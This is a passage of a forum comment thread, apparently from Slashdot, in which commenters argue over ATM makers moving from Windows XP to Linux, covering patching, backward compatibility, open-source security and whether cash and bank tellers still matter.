If they keep using the same 3rd-party program after many years with no source access and no support or updates, they're idiots. Basically you're talking about them using some 3rd-party program from a company that goes under, and continuing to use such a thing with zero support, no source code, etc. It's idiotic (not saying they wouldn't do this; companies have been known to be idiotic), because in a high-security application like an ATM, the ATM maker should have access to all the source code running on the machine or else they simply cannot verify it's secure. Does that 3rd-party widget have a backdoor? It very well could. Again, I wouldn't put it past the likes of Diebold to do something this dumb, but that's not the way it should be done.

Re:Ok seriously though ...

[sjames]

They don't so much mind updating periodically, they mind not being able to decide when based on their own internal timeline. Meanwhile, a lot of software can go through several updates to the base OS without a change.

Given the volume of systems though, it would be economically feasible to hire people who are well qualified to backport any security fixes needed.

Re:Ok seriously though ...

[Mad Merlin]

Sure. Kylix and Quake 2 are the first that come to mind (in terms of commercial software). But if you want to see something more GPL/Open Source originating, take, say, XFree86 from Slackware 4.0 and try to run it on Slackware 14. Same thing.

Now you're talking about something different. The OP specifically said upgrading a kernel (not a distribution). You can take the kernel from RHEL 6 and run it on RHEL 5 (in fact, this is exactly what Oracle does with OEL).

Userspace backwards compatibility is a whole different can of worms. For userspace, you're at the mercy of any libraries you dynamically link against, few promise binary compatibility indefinitely. Your Linux native hello world program compiled in 1991 will still run, unmodified, on today's distros, as it doesn't require any libraries. For more complex programs, you're looking at shipping local copies of the libraries you depend on, either via static linking, or copies of the dynamically linked libraries. The latter option can even be done after the fact.

Of course, if you still have the source, things are much easier. A simple recompile is often sufficient to fix any dynamic linking issues, source compatibility is broken far less often than binary compatibility. While not every old Linux program may run out of the box, it should be fairly trivial to make them work on a modern distro.

Now, if you want to talk about running old programs on new versions of Windows, let's talk about IE6 on Windows 8, without using virtualization. Good luck with that!

Re:Ok seriously though ...

[Anonymous Coward]

Windows NT-based OSes only crash on drivers and hardware issues, too. My personal record of uptime for a daily use machine is more than 110 days with Windows NT 4.0 (in 2001, well before the advent of monthly security updates). When you talk about "MS Trash", I think you are talking about the old 9x kernel, which has been out of use for almost 15 years. Thus, that sentence is hardly accurate nowadays.

Re:Ok seriously though ...

[swillden]

There are innumerable 2.4 applications which will flat out not run on a 2.6 system.

Bullshit.

There are many applications which won't run with the libraries installed on a typical 2.6 system, but if you go get all of the supporting libraries for that 2.4 application and install them, it'll work. The syscall interface is extremely stable, and I don't know of anything that has been removed or had its semantics significantly changed since pre-2.0.

Re:Ok seriously though ...

[Bert64]

Why would the banks have to do it? Banks don't build their own ATMs, they buy ready made ones and slap a bit of branding on top...
For the manufacturers of ATMs, the burden of supporting a cut down ATM-specific linux distro is rather minimal compared to the support they have to provide for the hardware and their own application anyway. If you stripped down a linux system to the bare essentials necessary to run an ATM, you'd not have a lot of code running there so there wouldn't be a huge number of patches you'd need to backport anyway. Plus there are other organisations in other markets in the same boat with whom you could share resources.

Re:Ok seriously though ...

[Bert64]

Linux has 2 advantages here...

1, you have the source code so anyone can provide patches, not just the original vendor. If your shipping out thousands of ATMs you can even afford to employ a few developers yourself.
2, linux is far more modular so you can remove all the crap you don't require - if its not present it doesn't need to be patched.
3, linux has lots of distros to choose from, with varying levels of support.. some of the embedded ones are actively supported for a long time

Re:Ok seriously though ...

[Anonymous Coward]

and 2.6 is EOL, 3.xx series solved that issue

Re:Ok seriously though ...

[Anonymous Coward]

> Linux is open-source, and not under the control of any one vendor.

Systemd and its cancerousness showed that the linux ecosystem is pretty much in control of red hat.

Re:Ok seriously though ...

[gweihir]

The GUI-using software does not need security patches. Kernels, OS and maybe the GUI toolkit needs them. And you cannot run that XP on modern hardware, while you can run that very old Linux GUI software on current and future Linux distros without issue. If you want to do that with anything XP, you need to rewrite a lot.

Re:Ok seriously though ...

[gweihir]

The original NT-kernel, maybe. Not the current incarnations.

Not happening

[Anonymous Coward]

That does not seem to be happening. Diebold and NCR are both pushing Windows 7, as is Hyosung. Linux should be used, but these companies are making too much money with upgrade.

The funny thing is between firewalls, IP lockdowns and certificates, the ATMs are just about the safest things ever put on a network.

And most of the companies with Windows XP ATMs are just going to pay Microsoft for another year or two of service.

Re:Not happening

[Grishnakh]

All the banks just had to replace their ATMs with audio-capable ones because of the ADA, so now they get to replace them all over again because of XP being EOL. Why would the ATM vendors want to adopt Linux, when they can use MS EOL as a convenient excuse to get the banks to replace their ATMs yet again in the future?

Re:Not happening

[unixisc]

If they are replacing XP, they should do it w/ Windows 8. As has been previously pointed out, while Metro is awful for desktops, it's just perfect for touch-screens, like you have on ATMs.

Actually, aside from Linux, the ATM companies could have tried either ComStation and OS/2, where they already have rich experience, or tried getting work done on osFree. With the last, they'd have gotten an FOSS OS/2, and been able to put in just what's needed. With REXX support and the other OS/2 specialties, they'd have been good to go

ATMs?

[Anonymous Coward]

people still use cash?? I just use my pin and chip card.

Re:ATMs?

[MightyYar]

Most tradesmen appreciate cash.

Re:ATMs?

[HeckRuler]

People still walk into the bank and talk to a teller asking a person for money withdraws.

Old people.

But they're old people with money, and so we still have offices with bored people behind counters watching you fill out those ridiculous slips rather than telling them what you want.

Tradition man. It's cultural inertia. And it's a massive bloody bitch that usually takes blood to change course.

Re:ATMs?

[Viol8]

Good for you. Meanwhile I'll pay cash in hand for some things and get a discount. What the taxman doesn't know about...

Re:ATMs?

[BitZtream]

You can't 'tell them what you want' ... they'll hand you back a slip and tell you to fill it out and sign it ... which is what you do when you poke the buttons and enter your pin number at an ATM.

You're naive at best.

Banks are some of the most ruthlessly efficient organizations on the planet, by their very nature.

First off, those bored people behind the counters 'watching you fill out those ridiculous slips' aren't bored, I promise you they've been working ALL day, doing something the bank hasn't yet automated. Just because the counter is high and you can't see they've been counting night deposits doesn't mean they were just sitting back their rubbing one off.

Second, the slips are not so you can 'tell them', its so the bank has a record of what YOU told them you were asking for or giving them, and BEFORE The transactions complete, they can reject it. If they accept it, they have, IN WRITING, what YOU requested from them, and how they filled it. They are protected against YOUR mistakes in transactions. The ATM does the EXACT same thing, but you just don't realize its doing it. This is a matter OF LAW, not practice or fun. This kind of stuff goes right along with the regulations that let them put that nice little Insured by the FDIC sticker on the window.

Third, Awesome, you think because the bank has off loaded doing their job onto YOU and a machine, that people who use the old method, where the bank actually provides services ... are the ones with a problem. And notice ... those people have ... money.

Irony: You think you're smarter because the bank is much more efficient at ripping you off than those stupid old people. Congratulations, there is an old dude sitting in an office, laughing his ass off about how you and the kind of ignorance you carry with you, filthy fucking rich.

ATMs are banks giving you less service and charging you for the privilege. You're an idiot. You kinds of guys are mind blowing to me. So excited about the new hotness not being 'old and busted' to notice that 'new hotness' is in fact, busted from the start and 'old and busted' got the job done better and cheaper.

Re:ATMs?

[astro]

Most countries, obviously including economically advanced and powerful Germany (where I live) also use ATMs (Geldautomaten). Here, the culture is still such that "cash is king". Other than supermarkets, huge chains like Ikea, H&M and McDonalds, there are very few places that you can use a debit/credit card to pay for goods and services. Asking "people still use cash?" is centered around a single first-world culture and in no way representative of the wider presence of ATMs.

Re:ATMs?

[Anonymous Coward]

I can't think of any banks that still have their clients fill out forms. Tellers have filled out the forms (data entry on their terminals) for nearly 20 years.

Why? It saves the teller time and the bank money.

Re:ATMs?

[HeckRuler]

The tellers at my credit union have always been quite helpful when I asked them for help.
What bank do you use that the tellers demand you sign a slip before they even talk to you?

You're naive at best.

Banks are some of the most ruthlessly efficient organizations on the planet, by their very nature.

BAHAHAHAHAHAHAHAHAaaaaahhh oh man. I can't believe you called me naive and then IMMEDIATELY made that claim. That's too good.
okokok, lemme just try and sort you out. Baby steps. If banks are "ruthlessly efficient by their very nature", then why are bankers well paid? Why the nice building? Why do you think the "old dude sitting in an office" is "filthy fucking rich"? Does that sound like ruthless efficiency?

If they were ruthlessly efficient, wouldn't they be sckrimping? Hiring the cleaning services only every other day. Struggling to attract employees because the pay was so shitty. Putting branches in old closed McDonalds buildings rather than downtown stonework or ritzy new buildings.

Irony: You think you're smarter because the bank is much more efficient at ripping you off than those stupid old people.

You're pretty argumentative. Do you consider yourself old or something? I never claimed to be smarter. Indeed, I actually like having a teller there. I can walk in without even having that bank card and I can walk out with money. But the ATMs are much more efficient for getting me my money in a hurry.

But no, I recently interviewed at a bank. Er, credit union. They made a big deal about the distinction. SQL-monkey position they tried to hype up. If I took it I imagine I'd have a lot more to say about how their ancient Symitar system running on XP sucks ass. Anyway, during the interview their head of IT was complaining about how they still had to hire tellers in their branches strictly because old people expected there to be tellers and that young people accepted ATMs much better.

So my personal views aside, THE REASON that banks still have tellers is because they're still courting the older demographic. At least per what someone in the industry mentioned to me once. But hey, it makes sense.

'old and busted' got the job done better and cheaper.

You've never employed someone have you?

Re:ATMs?

[Wookact]

Hmm In my experience the teller fills out the slip for me, I review and sign it. YMMV though.

Re:ATMs?

[Anonymous Coward]

My bank (TD Canada Trust) fills out slips for all customers. They even have extended hours and open 7 days a week!

Re:ATMs?

[Teun]

Hmm, I'm right now in the UK and nearly every place of business accepts debit and credit cards.

When at home in The Netherlands all stores accept debit, when on holidays in Denmark the same.

Yes these are First World countries but the trend is unstoppable, cash is now the minority means of money transfer.

At the same time this means people carry less cash and need and want to top up wherever they are.

Re:ATMs?

[Urza9814]

ATMs are banks giving you less service and charging you for the privilege.

That's funny. I've never paid a fee to use an ATM. Ever. Regardless of what ATM I use. I suggest you get a better bank, because if they nickle-and-dime you for crap like ATM withdrawals you are probably getting fuckin *screwed*.

And I find ATMs provide me a far better service. In fact, I currently live 500 miles away from the nearest branch of the only bank at which I have an account. Been like that for two years. Never had a problem. 90% of my banking is done online, and when I need cash I can go to any of the ATMs within walking distance or any of the dozens on my drive to/from work or literally just about anywhere in the goddamn *world* and pull out as much as I need. 24 hours a day, no line, no wait, no fee.

Try getting cash for the laundry machine from a bank teller at 8pm on a Sunday night....

Re:ATMs?

[Demonantis]

That is interesting. I have never heard or seen slips in Canada. They just print off a receipt and you sign a copy. Or what happening more often is there is debit machine that you use like an ATM and then you don't sign anything, but still get a receipt. There are bunch of things only a teller can do too. I probably use one four times a year.

Re:ATMs?

[thebigmacd]

When I go to a teller at my Credit Union, I just hand them my bank card, tell them what I want, and they key it in. Then I just sign the receipt when all transactions are done. No filling in of forms. No going only to my "home" branch for free service. I used to have to do those things...20 years ago.

Re:ATMs?

[mdielmann]

They've been dead here for 5 or 10 years. Before that, they were the norm. With banks that had a stated focus on customer service, if you didn't fill one out, they would and have you sign it.

Yes and no

[Anonymous Coward]

Yes it's free, but I'm sick of the "it's more secure" nonsense. It has the potential to be secured properly by the integrator, but that's it.

Re:Yes and no

[jedidiah]

This is the perfect example of why gratis doesn't mean so much. The really important thing here is that the user or even the "integrator" can have complete control of the system. They don't have to worry about ANYONE else interfering with the degree of control they want and the features that they want to be active.

The people building the ATM are in total control. For a device like an ATM, that's really how it should be.

Re:Yes and no

[Grishnakh]

I'm sick of the "it's more secure" nonsense. It has the potential to be secured properly by the integrator, but that's it.

Aren't you basically contradicting yourself here? If it has the potential to be secured properly (and the alternative does not), then doesn't that make it more secure by definition?

To make a crappy car analogy, let's suppose I have two options for cars, and I want a car that's extremely safe (as in offers the best crash protection). Option 1 is a car that has freely-available design documentation and which I can build myself from cheap, readily-made parts. It's also very cheap and easy for me to add a bunch of airbags, and other advanced features like crumple zones, impact-resistant fuel tank, etc. Other people get this car and build their own versions without some of these options, or they add in other features that render these protective features less effective, but not everyone does, and some build their own version with all the best protective features without any extra fluff that decreases safety. Option 2 is a car with the hood welded shut and which you can't modify at all. It has a drivers-side airbag only, and it claims to have a crumple zone but there's a lot of controversy about exactly how well it actually works in a crash, and there's very little real crash-test data available for it as the company that makes Option 2 is very secretive about the design of this car (Option 1 has been crash-tested numerous different ways by different agencies). You can't add any extra airbags either. Obviously, Option 1 is the safer choice, even though that means you can't just grab some off-the-shelf version put together by someone who doesn't care much about safety.

Re:Yes and no

[Immerman]

Well, no. If you're largely incompetent in the automotive-construction trade then you're liable to build some monstrosity that, while appearing safer, is quite possibly considerably less secure than option 2.

What option 1 really grants you is a wide range of vendors selling related cars with various different configurations, which can be rigorously compared in a largely apples-to-apples manner to find the one that best suits your needs. The ability to custom-design your car is nice, but probably foolish to exercise unless/until you've already built up significant institutional expertise in fine-tuning an "off the shelf" car of the new model.

Re:Yes and no

[mlw4428]

>To make a crappy car analogy

Because that's exactly what it is...a crappy analogy. Open Source doesn't mean "cheaper"...especially if you're modifying the code. First you have to hire coders, then there's testing, bug fixing, documentation, training etc. It's hardly "easy" as well. It IS often cheaper and easier to hire a vendor to do that for you. No HR costs, support gets outsourced to the vendor, etc.

> Obviously, Option 1 is the safer choice, even though that means you can't just grab some off-the-shelf version put together by someone who doesn't care much about safety.

I realize this was just an example, but I can't help but feel the dig at MS with that little comment. MS does care, especially since XP, about security. They've been more and more willing to break old software nowadays to promote security than to code "hacks". Their security model is more reasonable and they re-wrote a large part of their core to implement new security. I've yet to see a Linux distribution or foundation that has a dedicated security team that works with law enforcement, ISPs, etc to analyze and shutdown botnets world-wide. They've even done research into managed code OSes and a Mach style kernels to increase security and modularity. Your analogy was true over a decade ago...it's not true now.

Re:Yes and no

[Anonymous Coward]

Right on!

I had a customer some years back asking about the "perfect" firewall system for their network. He seemed somewhat surprised when I told him that even the most secure firewall product could be as easily breached as the crappiest firewall product, if configured incorrectly.

And it is entirely possible for a linux system to be so badly configured that the security hole is so big you can fill it with watter and call it a swimming pool.

Re:Yes and no

[gweihir]

Of course, to anybody halfway competent that means "can be secured easier". And as soon as it is, it is indeed orders of magnitude more secure than anything MS has ever produced. Sure, out of the box with incompetent system administration, Linux is not more secure, but that is very obviously not the topic of this discussion.

Re:Yes and no

[gweihir]

An important factor is modularity: You can have different kernels, different window-managers, even different system C libraries, etc. because all these interactions are standardized (well, except things produced by utter morons without any understanding of the UNIX philosophy like the systemd-cretins). That means you can fix things yourself, for example maintaining your own kernel without breaking anything in user-space or having your own drivers that you rarely need to adjust to kernel changes.

Re:Yes and no

[Grishnakh]

MS still supports most old software, and you can't do that without having security holes, or at least a much greater volume of code (to support all the workarounds and various old APIs), which necessarily means more bugs and more potential security holes.

As for law enforcement, it's well-known that MS OSes are wide-open to the NSA, and there's no way to disprove this since the code isn't open.

Managed-code OSes and Mach-style kernels are useless, since MS doesn't actually use those. Whoopee, they researched a bunch of cool stuff, but the stuff the sell is the same old same old. That's like all those concept cars that carmakers built and showed off, while they were selling ugly K-cars to the public.

Re:Yes and no

[pnutjam]

In fact, better firewalls are probably easier to configure incorrectly and insecurely. The point we are making is that the hand-holding equipment and software (like xp), may seem safer since it works with default settings and won't let you into the guts. Unfortunately, it also won't let you modify things when your needs change,or the vendor ends support.

Re:Yes and no

[spacepimp]

Why would they choose XP in the first place then, if total control matters? Closed source, locked binaries, and no way ever to get total control, or to strip out unnecessary components of the OS.

Re:Yes and no

[PRMan]

Cheaper, faster to market, more profits. Hey, since there are so many XP ATMs out there, apparently it worked.

Re:Yes and no

[Blakey Rat]

These machines are built by Diebold. Do you honestly, truly, believe that Diebold engineers can do a better job of securing a system than Microsoft engineers? Truly?

Re:Yes and no

[mlw4428]

> MS still supports most old software, and you can't do that without having security holes, or at least a much greater volume of code

Is that what we're running with? I can run old versions of BASH, does this mean Linux is insecure? I can run quite a bit of old software (GIMP, Staroffice, etc) on Linux.

> As for law enforcement, it's well-known that MS OSes are wide-open to the NSA, and there's no way to disprove this since the code isn't open.

And on the same hand there's no way for you to know the NSA is embedded. You can't see a lot of the internals of your hardware -- do not trust that either? Can you trust your RAM, BIOS, CPU, HDD? At some point one accepts some risk because not everything is open source.

> Whoopee, they researched a bunch of cool stuff, but the stuff the sell is the same old same old.

Research breeds innovation whether by MS or by others inspired by the work. If you lived in the real world you'd understand that R&D is not a quick and lucrative thing.

For the ones arguing that M$ gave 10 Years Notice

[j35ter]

It still costs a shitload of money to change platforms for an established product - especially since Win7/8/... are quite different with regards to file structure, user management, security, etc. And by nowmost security holes have been closed in their version of XP. Well, now that they switch to something open, M$ won't be able to pull another XP on them :-)

Finally!

[StripedCow]

Finally, the year of Linux on the... oh wait... ATM.

Re:Finally!

[Anonymous Coward]

I guess that some ATMs sit on desks.

Re:For the ones arguing that M$ gave 10 Years Noti

[Missing.Matter]

"Pulling an XP" ... is that some kind of euphemism for supporting a product long past industry standards for free? Funny you use the little $ in "MS", seeing as that they haven't asked me for a single cent for updates to my XP box since 2001.

Re:For the ones arguing that M$ gave 10 Years Noti

[Anonymous Coward]

Shhh.....don't confuse them with facts....

Forget Windows and Linux

[ArcadeMan]

They should be developing their own OS anyway. I guess they'll call it ATMOS.

Re:Forget Windows and Linux

[kthreadd]

Which turns out will just be Ubuntu with a custom desktop.

Re:Forget Windows and Linux

[unixisc]

They could just take osFree - the FOSS version of OS/2 - and complete it, and make sure that all the REXX tools & everything is supported. Then they'd be able to port the existing Banking OS/2 software infrastructure to it.

Re:Forget Windows and Linux

[Anonymous Coward]

And refer to it as the ATMOS system?

Re:Forget Windows and Linux

[Anonymous Coward]

I don't know - that sounds dangerous, it might cause ATMOS FEAR.

Sync on Hardware and software

[arbiterxero]

So, I'm all for them switching away from MS....

But the idea that they need to sync their software upgrades with their hardware upgrades is RIDICULOUS.

Are you kidding me? How do they deal with patches? How do they deal with exploits?

Hardware on an ATM can't get replaced THAT often and if that's when they want to run software updates?

Re:Sync on Hardware and software

[BitZtream]

What exploits do they need to patch against, exactly?

They aren't on the Internet. If anyone can get on their network, the bank has bigger problems than someone teardropping the ATMs already.

Why do they need patches for the OS? They are not general purpose devices. They don't need the newest directx/opengl. They actually DO NOT WANT CHANGE because that means they have to test more.

You upgrade because your time is worthless and you enjoy playing with new software. People maintaining ATMs have better shit to do than continually upgrading millions of machines ... especially when the reason for the upgrade is something like 'new web browser' that will NEVER BE SEEN on the device.

There is no REASON to upgrade ATMs other than the bank has no features. The OS doesn't EVER NEED TO BE UPDATED.

Why does the OS need upgraded if for all practical purposes (this part is key, PRACTICAL, as in REAL WORLD, not theoretical) if there is no possible way any of those exploits can be exploited or if none of the new features can possibly be used because they are overlaid by a completely custom user interface.

You live in a 10 year old 'the internet is everything' mentality that pretty much only exists in San Francisco and in young adults who have no idea that there is a life outside of the Internet and there are methods other than falling the bleeding edge of technology that are far more productive.

Why upgrade when the upgrade provides no benefits, but it still cost time and resources ... times MILLIONS of machines.

Re:Sync on Hardware and software

[aethelrick]

WILD SPECULATION ALERT!

practically speaking, maybe the urge to update is being driven from the other end... i.e. the developer tools (on windows) keep getting changed and updated, windows application developers who specialize in yesteryears Visual Studio get harder and harder to find not to mention that the desktop environment they're targetting is now no longer running on the developers own machines.

If your development team is having to jog to keep up with the constant change in the development tools I can see how they may end up in this mess.

If this is close to describing their problem, they'd probably be better off with something like (dare I say it) Java running on a stripped down to bare essentials Linux

Re:Sync on Hardware and software

[njnnja]

There are plenty of non-frivolous reasons why ATMs should be upgradeable. Banking is highly regulated, and if tomorrow the FDIC, the FRB, the OCC, or the CFPB made a rule about ATMs that could not be easily reconfigured for then an OS upgrade might be required to be in compliance. And it is unlikely that any sufficiently large organization has no security breaches on their internal network. A good defense in depth strategy would almost certainly devote some resources to making sure that ATMs are secure, to reduce the headline risk they pose if nothing else. And a part of that is ensuring that they are up to date.

Re:Sync on Hardware and software

[gweihir]

ATMs are not exposed in the network. They use VPN or dedicated links. In the rare cases where an ATM gets compromised, somebody on the other side of the link (bank-side) screwed up.

Re:Sync on Hardware and software

[Anonymous Coward]

All true, but there's a problem.

After the version of XP that they use is no longer supported, how will the ATM vendors buy licences for it ?

Qualifying another OS for use with the application software is, as many have noted, a long, slow job. Perhaps they've already started it, perhaps it's still planned to take longer than 2016 or 2019 or whatever the end date is. But do they want to stop manufacturing existing models until it's ready, because they can't buy the unsupported OS the existing code requires ?

Windows XP Embedded - 2016

[zarmanto]

Windows based ATM machines are almost certainly running on XP Embedded, rather than the retail version of XP... support for Embedded doesn't end until January 2016. Thus, if the financial industry is moving away from XP to Linux, it isn't necessarily related to Microsoft's XP support schedules.

Re:Windows XP Embedded - 2016

[NJRoadfan]

XP Embedded 2009 is supported until 2019. I have POSReady 2009 installed in a VM to see if it gets updates post April. Wouldn't be surprised if folks figure out a way to get the patches working on retail XP.

Well Duh...

[bobbied]

Why an ATM was hosted on XP in the first place is beyond me. I suppose you dance with the one who brought you and banks are solidly Windows shops, but using XP for a device where security and reliability is paramount seems like a bad choice, at least in hindsight. I suppose in the depths of the XP heyday, when the base design decisions where being made, Linux was a decidedly hit and miss affair (mostly miss). X support was spotty and other devices had limited support. I remember the heady days of installing slackware and configuring video card and monitor by editing that text file. XP must have looked pretty good.

Now, ATM venders are faced with having to port everything to newer versions of Windows, which forces them into more expensive hardware (faster CPU's, more memory, greater drive space, modern video hardware etc.). This in the face of being able to keep using the old proven hardware, put Linux on it and get another decade or two, not to mention control of your own destiny because the source code is available and free. You are going to pay to retool to Linux, but you get to step away from Microsoft license fees. It's a long term gain, short term loss.

Maybe they will make the right choice this time? Who are we kidding... You KNOW that Microsoft has pulled out all the stops on the Redmond FUD machine and would gladly cut some "deals" to keep these guys on the hook and make Linux look less desirable in terms of ROI.

Re:Well Duh...

[UnknowingFool]

Well cheap VB programmers instead of more expensive Linux developers was probably the main reason of using XP over Linux in the first place. However, the banks also have less control. Embedded XP is EOL in 2019, I think not 2014. In the best case scenario, there are a lot of ATMs that need to be upgraded in the next 5 years to the next Windows Embedded version. But like the PC industry, some older machines will not meet the requirements.

Re:Well Duh...

[TheRealMindChild]

Because of Visual Studio, that's why. Diebold in particular has a few in-house devs that exclusively use Visual Basic.

Re:Well Duh...

[AmiMoJo]

Why an ATM was hosted on XP in the first place is beyond me.

ATMs use XP because it gives them support for a lot of cheap, off the shelf hardware and the guys writing drivers for specialist stuff (ATM network cards, magstripe/PIN card readers etc.) provide Windows drivers. MS support for developers is actually pretty good, and there isn't really anything equivalent in the Linux world. Yeah, you can find companies doing some support for say embedded Linux systems, but will they be able to investigate and fix bugs in the kernel or GCC for you?

which forces them into more expensive hardware

Unless they are buying ancient Athlon CPUs off eBay modern hardware capable of running Windows 7/8 is actually cheaper than what XP hardware cost at the time. Most motherboard manufacturers don't support XP anyway any more, so there are no drivers for much of the hardware. Getting a board that supports XP is going to cost $$$ these days.

You are going to pay to retool to Linux, but you get to step away from Microsoft license fees.

What do you think will cost less: Re-writing your apps for Linux or spending a day fixing a few niggles because you had to upgrade to Visual Studio 2012 and Windows 7?

Re:Well Duh...

[SEE]

Why? In large part because it was an easier migration from OS/2 to XP than to anything else, that's why.

And OS/2 was there because in the late 1980s and early 1990s IBM was backing it and the other available choice was SCO Unix.

Re:Well Duh...

[TheReaperD]

Most of the ATMs though are not using Embedded XP, they are using the full desktop version of Windows XP. So their EOL is this year.

Re:Well Duh...

[Anonymous Coward]

I shudder at the thought that someone might say "Of course your money is safe, we used Visual Basic!"

Re:Well Duh...

[Anonymous Coward]

Linux was not the logical option back when OS/2 went EOL... Real alternatives were either Windows or Unix.

Re:Well Duh...

[Anonymous Coward]

What do you think will cost less: Re-writing your apps for Linux or spending a day fixing a few niggles because you had to upgrade to Visual Studio 2012 and Windows 7?

Depends on your definition of "cost". Short-term? Yeah, rewriting your apps for Linux would cost more than a couple of software upgrades. No shit. Now if you allow your brain to think outside the greedy little box of "just this quarter", your long-term gains by switching to Linux should be apparent and obvious enough it shouldn't require any explanation.

Fuckin' Christ.

Re:Well Duh...

[bobbied]

You are going to pay to retool to Linux, but you get to step away from Microsoft license fees.

What do you think will cost less: Re-writing your apps for Linux or spending a day fixing a few niggles because you had to upgrade to Visual Studio 2012 and Windows 7?

Short term? Windows, long term Linux. Pick your poison, stay under the oppression of paying license fees to Micro$oft forever or pay to retool your development environment once. Personally, I'd pay up front and do this once, but I guess that is why I'm not in management..

It makes sense now!

[Anonymous Coward]

I got extra cash from an ATM withdrawal.

The distros are leaving money on the table

[davecb]

If Red Hat or any of the other well-known distros had a spin I could burn to a thumb-drive that was XP-user-friendly, I could show it off and expect what my company's receptionist once asked: "That looks nice, what version of Windows is this?"

A colleague had installed Linux on the reception PC, and left a yellow stick to tell the receptionists to ask me for the password.

--dave

So how is support...

[Plumpaquatsch]

So how is support for RHEL 2.1 (a year younger than XP) these days?

Re:So how is support...

[Todd Knarr]

That's the thing, though: for the most part the basic programming APIs haven't changed much since then. There's some new ones, but mostly code written for RHEL 2.1 will compile and run on Debian 7.4. The kernel will have been upgraded, the libraries and packages will have been upgraded, but the source code and makefiles and scripts will need minimal changes to make the jump. You won't be able to take advantage of the new features, but you won't be looking at nearly the work to migrate. Even widget sets are mostly backwards-compatible, and for an application like an ATM you can omit the desktop environment stuff that's undergone major changes over the years (why would an ATM need a desktop environment anyway, it's not like customers will be interacting with the ATM's desktop). Combine that with the ability to just not run services like Samba (Windows networking) and the like and you make it a lot easier to do support in-house as well, reducing the need to migrate in the first place.

Re:So how is support...

[Anonymous Coward]

The APIs haven't changed on Windows either. Heck, my Win32 code for '95 runs on Win8 today.

Re:So how is support...

[Plumpaquatsch]

You are assuming that companies will actually have access to the source of the applications they bought, even if they were written for them instead of some off the shelf software. And that's mostly the case even when they run Linux beneath. So all this does is to change the problem from "Microsoft won't support XP after 10 years" to "I sure hope Billy Bob's Software will still support (as in just recompile) my software for the next RHEL version."

Re:So how is support...

[Anonymous Coward]

I would happily take your money to support such a thing

Re:So how is support...

[swillden]

If you don't have the source, you just need to bring the original binaries along with all of the original libraries. The kernel API calls haven't changed (though there are new ones). Getting the link path configured correctly for the old code will be a PITA, but it can be done.

Re:So how is support...

[Plumpaquatsch]

If you don't have the source, you just need to bring the original binaries along with all of the original libraries. The kernel API calls haven't changed (though there are new ones). Getting the link path configured correctly for the old code will be a PITA, but it can be done.

Take it up with the guy who claimed "you only need a recompile". But sure, if your (in this case) ATM user interface is has hard-linked libraries (including the GUI manager), all should be fine. Apart from your fucking ATM interface.

Re:So how is support...

[swillden]

If you don't have the source, you just need to bring the original binaries along with all of the original libraries. The kernel API calls haven't changed (though there are new ones). Getting the link path configured correctly for the old code will be a PITA, but it can be done.

Take it up with the guy who claimed "you only need a recompile".

I'm taking it up with the guy who claimed that recompiling might not be possible, and therefore implied that you might be screwed because you can't recompile.

But sure, if your (in this case) ATM user interface is has hard-linked libraries (including the GUI manager), all should be fine. Apart from your fucking ATM interface.

Hard-linked libraries don't matter. You can do the same with shared libs... in fact I was assuming shared libs, which is why I mentioned the link path (LD_LIBRARY_PATH et al). And you can even use the old libs for the GUI -- The X API is also very stable. Depending on what the old program uses, the transitive dependencies could theoretically drag the entire userspace library collection along with it, but that's unlikely.

Of course, something in that userspace may be buggy, so upgrading to a newer kernel may not solve your problem -- and apparently there is a problem, or else why are you bothering to upgrade? Software doesn't wear out, after all. So if fixing your problem requires fixing stuff in those userland libs, you're in for more work, but still not screwed... because all of that stuff is open source.

If the problem is in the closed source stuff and Billy Bob's won't support it, then you're screwed.

But with respect to the OS and userland... open OSes like Linux give you a wealth of options that closed source OSes do not. It's still possible to end up in a situation where it's cheaper to buy a whole new system, but if you want to you can use the source to fix anything that needs fixing, and the only limits are the boundaries of the closed bits of the solution.

Re:So how is support...

[Plumpaquatsch]

If you don't have the source, you just need to bring the original binaries along with all of the original libraries. The kernel API calls haven't changed (though there are new ones). Getting the link path configured correctly for the old code will be a PITA, but it can be done.

Take it up with the guy who claimed "you only need a recompile".

I'm taking it up with the guy who claimed that recompiling might not be possible, and therefore implied that you might be screwed because you can't recompile.

So your point is that Linux advocates can't be believed. Thanks for making that thing certain. Case closed.

Re:So how is support...

[swillden]

If you don't have the source, you just need to bring the original binaries along with all of the original libraries. The kernel API calls haven't changed (though there are new ones). Getting the link path configured correctly for the old code will be a PITA, but it can be done.

Take it up with the guy who claimed "you only need a recompile".

I'm taking it up with the guy who claimed that recompiling might not be possible, and therefore implied that you might be screwed because you can't recompile.

So your point is that Linux advocates can't be believed. Thanks for making that thing certain. Case closed.

Ah, I see. You're an ass. Sorry, I hadn't understood that, else I'd never have responded.

Re:So how is support...

[Plumpaquatsch]

Ah, I see. You're an ass. Sorry, I hadn't understood that, else I'd never have responded.

You didn't respond, you proved that you have no clue. Big difference.

2014

[Anonymous Coward]

YEAR OF THE LINUX ATM!

ReactOS?

[Anonymous Coward]

For minimum transition costs I would seriously consider replacing existing XP instances with carefully tested ReactOS equivalent.

Re:ReactOS?

[unixisc]

Which is still in alpha stage

What's the delay...

[ndykman]

Given the long notice on Windows XP end of life, why is this just being considered now? I would expect vendors to announce they have completed or have started their migration to a newer platform. And Linux is a very reasonable choice for this, and it was years ago. QNX, VxWorks was as well. It's not like Linux became a reasonable embedded OS just this year, but it seems like the companies are thinking that. "Oh, hey, maybe Linux isn't too bad after all." Weird.

And, there is Windows 7 embedded, if you want to upgrade not port. I understand being conservative, but this just seems like bad crisis planning at the last minute. Also, with the new card standards coming up, it seems the industry knew there was a need for new systems in plenty of time to create and implement a migration plan.

Would Linux be any better from a LTS standpoint?

[Anonymous Coward]

If I remember right, XP came out around the time that the 2.2 kernel was around. Is anyone still actively maintaining patches for the 2.2 line? Assuming the ATM manufacturers don't have a team of kernel devs to backport patches, how would moving to Linux make they situation better?

Looks like the end of XP

[ralphaostrander]

Might be the push Linux needed.

Re:Looks like the end of XP

[fisted]

Do you realize this is about ATMs only?

Re:For the ones arguing that M$ gave 10 Years Noti

[j35ter]

This is not just about support, but also about availability and continuity. The fact that YOU did not have to pay a cent means nothing when compared to companies that licenced millions of copies of XP (>2.000.000 ATMs). and that soon will have to switch to another product for replacing old and/or broken machines. By industry standards, Microsoft is an unreliable player!

Re:For the ones arguing that M$ gave 10 Years Noti

[j35ter]

Please Sir, would you be so kind and eat your own shi^H shorts?

Excuses?

[Mr_Silver]

But that's hard to do with Microsoft dictating the software upgrade timetable.

Looking at the lifecycle fact sheet, Microsoft are currently giving 9 years notice on when 8.1 will end extended support.

